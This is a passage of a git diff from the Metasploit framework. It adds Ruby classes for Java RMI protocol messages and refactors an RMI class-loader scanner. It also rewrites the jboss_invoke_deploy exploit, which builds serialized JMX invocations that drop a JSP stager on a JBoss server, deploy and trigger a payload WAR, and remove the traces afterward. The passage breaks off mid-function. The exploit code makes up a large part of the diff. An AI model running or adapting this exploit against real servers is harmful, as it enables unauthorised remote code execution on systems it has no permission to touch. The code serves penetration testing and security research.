Encodes the Rex::Proto::Rmi::Model::Element into an String. + # + # @raise [NoMethodError] + # @return [String] + def encode + encoded = '' + self.class.attributes.each do |attr| + m = ("encode_#{attr}").to_sym + encoded << self.send(m) if self.send(attr) + end + + encoded + end + + private + + # Reads a byte from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the byte can't be read from io + def read_byte(io) + raw = io.read(1) + raise ::RuntimeError, 'Failed to read byte' unless raw + + raw.unpack('C')[0] + end + + # Reads a two bytes short from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the short can't be read from io + def read_short(io) + raw = io.read(2) + + unless raw && raw.length == 2 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('n')[0] + end + + # Reads a four bytes int from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the int can't be read from io + def read_int(io) + raw = io.read(4) + + unless raw && raw.length == 4 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('N')[0] + end + + # Reads an string from an IO + # + # @param io [IO] the IO to read from + # @param length [Fixnum] the string length + # @return [String] + # @raise [RuntimeError] if the string can't be read from io + def read_string(io, length) + raw = io.read(length) + + unless raw && raw.length == length + raise ::RuntimeError, 'Failed to read string' + end + + raw + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb new file mode 100644 index 0000000000..dae28e89b6 --- /dev/null +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI output stream header + class OutputHeader < Element + + # @!attribute signature + # @return [String] the Java RMI header signature + attr_accessor :signature + # @!attribute version + # @return [Fixnum] the Java RMI version + attr_accessor :version + # @!attribute protocol + # @return [Fixnum] the protocol where the the messages are wrapped within + attr_accessor :protocol + + private + + # Reads the signature from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode signature + def decode_signature(io) + signature = read_string(io, 4) + unless signature == SIGNATURE + raise ::RuntimeError, 'Failed to decode OutputHeader signature' + end + + signature + end + + # Reads the version from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_version(io) + version = read_short(io) + + version + end + + # Reads the protocol from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if fails to decode the protocol + def decode_protocol(io) + valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] + protocol = read_byte(io) + + unless valid_protocols.include?(protocol) + raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + end + + protocol + end + + # Encodes the signature field + # + # @return [String] + def encode_signature + signature + end + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the protocol field + # + # @return [String] + def encode_protocol + [protocol].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb new file mode 100644 index 0000000000..c0406b3ae2 --- /dev/null +++ b/lib/rex/proto/rmi/model/ping.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI Ping stream. A Ping is a message for testing + # livereness of a remote virtual machine. + class Ping < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_MESSAGE + raise ::RuntimeError, 'Failed to decode Ping stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb new file mode 100644 index 0000000000..db0131b42a --- /dev/null +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement + # for a Ping message. + class PingAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_ACK + raise ::RuntimeError, 'Failed to decode PingAck stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb new file mode 100644 index 0000000000..52a48506be --- /dev/null +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI protocol ack input stream + class ProtocolAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PROTOCOL_ACK + raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + end + + stream_id + end + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb new file mode 100644 index 0000000000..fe99d23a6e --- /dev/null +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return data stream + class ReturnData < Element + + # @!attribute stream_id + # @return [Fixnum] the stream id + attr_accessor :stream_id + # @!attribute return value + # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + attr_accessor :return_value + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == RETURN_DATA + raise ::RuntimeError, 'Failed to decode ReturnData stream id' + end + + stream_id + end + + # Reads and deserializes the return value from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_return_value(io) + return_value = Rex::Java::Serialization::Model::Stream.decode(io) + + return_value + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the return_value field + # + # @return [String] + def encode_return_value + return_value.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 50afdbd8fd..7412806b60 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -4,10 +4,11 @@ ## require 'msf/core' +require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,96 +34,122 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def setup - buf = gen_rmi_loader_packet - - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" - new_url = "file:RMIClassLoaderSecurityTest/" + jar - - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - - idx = buf.index(find_me) - len = [new_url.length].pack("n") - - # Now replace it with the new url - buf[idx, find_me.length] = len + new_url - - @pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf - end - def run_host(target_host) + vprint_status("#{peer} - Sending RMI Header...") + connect - begin - connect - sock.put("\x4a\x52\x4d\x49\0\x02\x4b") - res = sock.get_once - disconnect - - if res and res =~ /^\x4e..([^\x00]+)\x00\x00/ - info = $1 - - begin - # Determine if the instance allows remote class loading - connect - sock.put(@pkt) rescue nil - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break if not res - buf << res - end - - rescue ::Interrupt - raise $! - rescue ::Exception - ensure - disconnect - end - - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 - print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") - svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") - report_vuln( - :host => rhost, - :service => svc, - :name => self.name, - :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", - :refs => self.references - ) - else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - end - - end - - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError - ensure + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") disconnect + return end + # Determine if the instance allows remote class loading + vprint_status("#{peer} - Sending RMI Call...") + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar + + send_call(call_data: build_gc_call_data(jar_url)) + return_data = recv_return + + if return_data.nil? + print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + return + end + + if loader_enabled?(return_data) + print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", + :refs => self.references + ) + else + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") + end end - def gen_rmi_loader_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + def loader_enabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 41865e2c6e..c56b3aba1f 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote end def check - res = send_serialized_request('version.bin') + res = send_serialized_request('version') if res.nil? - vprint_error("Connection timed out") + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") @@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -113,31 +113,29 @@ class Metasploit4 < Msf::Exploit::Remote def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") if not mytarget + fail_with('Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end - # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" - stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, - stager_code => generate_stager(name_parameter, content_parameter) + 'jsp_code' => generate_stager(name_parameter, content_parameter) } - print_status("Deploying stager") - send_serialized_request('installstager.bin', replace_values) + print_status('Deploying stager') + send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') @@ -162,23 +160,21 @@ class Metasploit4 < Msf::Exploit::Remote name_parameter => app_base, content_parameter => b64_war } - }, 20) + }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager - print_status("Removing payload through stager") + print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi( - {'uri' => delete_payload_uri, - }) + res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager - print_status("Removing stager") - send_serialized_request('removestagerfile.bin', replace_values) - send_serialized_request('removestagerdirectory.bin', replace_values) + print_status('Removing stager') + send_serialized_request('removestagerfile', replace_values) + send_serialized_request('removestagerdirectory', replace_values) handler end @@ -226,18 +222,39 @@ catch(Exception e) {} %> EOT - # The script must be exactly 810 characters long, otherwise we might have serialization issues - # Therefore we fill the rest wit spaces - spaces = " " * (810 - stager_script.length) - stager_script << spaces end - def send_serialized_request(file_name , replace_params = {}) - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - - replace_params.each { |key, value| data.gsub!(key, value) } + def send_serialized_request(operation , replace_params = {}) + data = '' + case operation + when 'version' + data = build_get_version.encode + when 'osname' + data = build_get_os.encode + when 'osarch' + data = build_get_arch.encode + when 'installstager' + data = build_install_stager( + war_name: replace_params['regex_app_base'], + jsp_name: replace_params['regex_jsp_name'], + data: replace_params['jsp_code'] + ).encode + when 'removestagerfile' + data = build_delete_stager_file( + dir: "#{replace_params['regex_app_base']}.war", + file: replace_params['regex_jsp_name'], + extension: '.jsp' + ).encode + when 'removestagerdirectory' + data = build_delete_stager_file( + dir: './', + file: replace_params['regex_app_base'], + extension: '.war' + ).encode + else + fail_with(Failure::Unknown, "#{peer} - Unexpected operation") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -251,20 +268,19 @@ EOT }, 25) - if (not res) or (res.code != 200) - print_error("Failed: Error requesting preserialized request #{file_name}") + unless res && res.code == 200 + print_error("Failed: Error requesting preserialized request #{operation}") return nil end res end - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if (verb == "POST") + if verb == "POST" res = send_request_cgi( { 'uri' => uri, @@ -281,17 +297,17 @@ EOT end msg = nil - if (!res) + if res.nil? msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) + elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) + elsif res.code == 200 print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." + if attempt < num_attempts - 1 + msg << ', retrying in 5 seconds...' print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else @@ -303,12 +319,12 @@ EOT def auto_target - print_status("Attempting to automatically select a target") + print_status('Attempting to automatically select a target') - plat = detect_platform() - arch = detect_architecture() + plat = detect_platform + arch = detect_architecture - return nil if (not arch or not plat) + return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } @@ -317,37 +333,408 @@ EOT return nil end - # Try to autodetect the target platform def detect_platform - print_status("Attempting to automatically detect the platform") - res = send_serialized_request("osname.bin") + print_status('Attempting to automatically detect the platform') + res = send_serialized_request('osname') - if (res.body =~ /(Linux|FreeBSD|Windows)/i) + if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 - if (os =~ /Linux/i) + if os =~ /Linux/i return 'linux' - elsif (os =~ /FreeBSD/i) + elsif os =~ /FreeBSD/i return 'linux' - elsif (os =~ /Windows/i) + elsif os =~ /Windows/i return 'win' end end nil end - # Try to autodetect the architecture - def detect_architecture() - print_status("Attempting to automatically detect the architecture") - res = send_serialized_request("osarch.bin") - if (res.body =~ /(i386|x86)/i) + def detect_architecture + print_status('Attempting to automatically detect the architecture') + res = send_serialized_request('osarch') + if res.body =~ /(i386|x86)/i arch = $1 - if (arch =~ /i386|x86/i) + if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end end nil end + + def build_get_version + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') + + build_invocation(stream) + end + + def build_get_os + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') + + build_invocation(stream) + end + + def build_get_arch + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') + + build_invocation(stream) + end + + def build_install_stager(opts = {}) + war_name = "#{opts[:war_name]}.war" + jsp_name = opts[:jsp_name] || '' + extension = opts[:extension] || '.jsp' + data = opts[:data] || '' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'store') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, war_name), + Rex::Java::Serialization::Model::Utf.new(nil, jsp_name), + Rex::Java::Serialization::Model::Utf.new(nil, extension), + Rex::Java::Serialization::Model::Utf.new(nil, data), + builder.new_object( + name: 'java.lang.Boolean', + serial: 0xcd207280d59cfaee, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [['boolean', 'value']], + data: [['boolean', 0]] + ) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_delete_stager_file(opts = {}) + dir = opts[:dir] || '' + file = opts[:file] || '' + extension = opts[:extension] || '.jsp' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'remove') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, dir), + Rex::Java::Serialization::Model::Utf.new(nil, file), + Rex::Java::Serialization::Model::Utf.new(nil, extension) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_invocation(stream_argument) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_invocation_deploy(stream_argument) + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") + 